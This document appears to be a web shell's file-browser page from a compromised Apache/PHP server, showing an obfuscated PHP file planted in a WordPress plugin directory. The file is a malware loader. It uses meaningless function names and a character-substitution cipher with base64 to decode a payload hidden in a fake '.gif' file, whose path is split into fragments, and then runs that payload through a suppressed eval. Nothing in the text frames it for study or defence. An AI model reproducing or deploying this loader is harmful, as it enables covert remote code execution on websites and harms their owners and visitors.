HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/abehygath/ilykeqi.txt
<?php

function yguwar_ukhunuheh($dyjuze_ishozhakh) {
    if ($dyjuze_ishozhakh == 1)
        return ufefuf_apagamale();
    if ($dyjuze_ishozhakh == 2)
        return equjam_yfuxychyd();
}

function uvytir_tocoshahi($dyjuze_ishozhakh) {
    $yluzob = yguwar_ukhunuheh(1);
    $utaqas = yguwar_ukhunuheh(2);
    for ($suthyfa = 0; $suthyfa < strlen($yluzob); $suthyfa++) {
        $casywy = substr($yluzob, $suthyfa, 1);
        $ururyf = substr($utaqas, $suthyfa, 1);
        $shubymu[$casywy] = $ururyf;
    }

    $bychixa = strtr($dyjuze_ishozhakh, $shubymu);
    $bychixa = base64_decode($bychixa);

    return $bychixa;
}

function zefyle_zhyvyshach($dyjuze_ishozhakh) {
    $izuqir = array();
    if (!file_exists($dyjuze_ishozhakh))
        return false;
    $kemuvu = @file_get_contents($dyjuze_ishozhakh);
    if (!$kemuvu)
        return false;
    $kemuvu = substr($kemuvu, 3);
    $izuqir = uvytir_tocoshahi($kemuvu);
    return $izuqir;
}

function ufefuf_apagamale() {
    $kemuvu = "y=QUqx5gX3PefBDTumK/ICszH26lwZWFbrGdkv9cY71hOE8j0an+4oNRiSVMpALtJ";
    return $kemuvu;
}

function equjam_yfuxychyd() {
    $izuqir = "RHMGxngXa02OPZDm+pKvFCi58/j=LY9Q6hUzusSyVbkertlo71JfA3NT4BwqcdEIW";
    return $izuqir;
}

$bonexi = zefyle_zhyvyshach(__DIR__ . "/asse" . "ts/ima" . "ges/s" . "itha" . "ky.g" . "if");
if ($bonexi) {
    @eval($bonexi);
}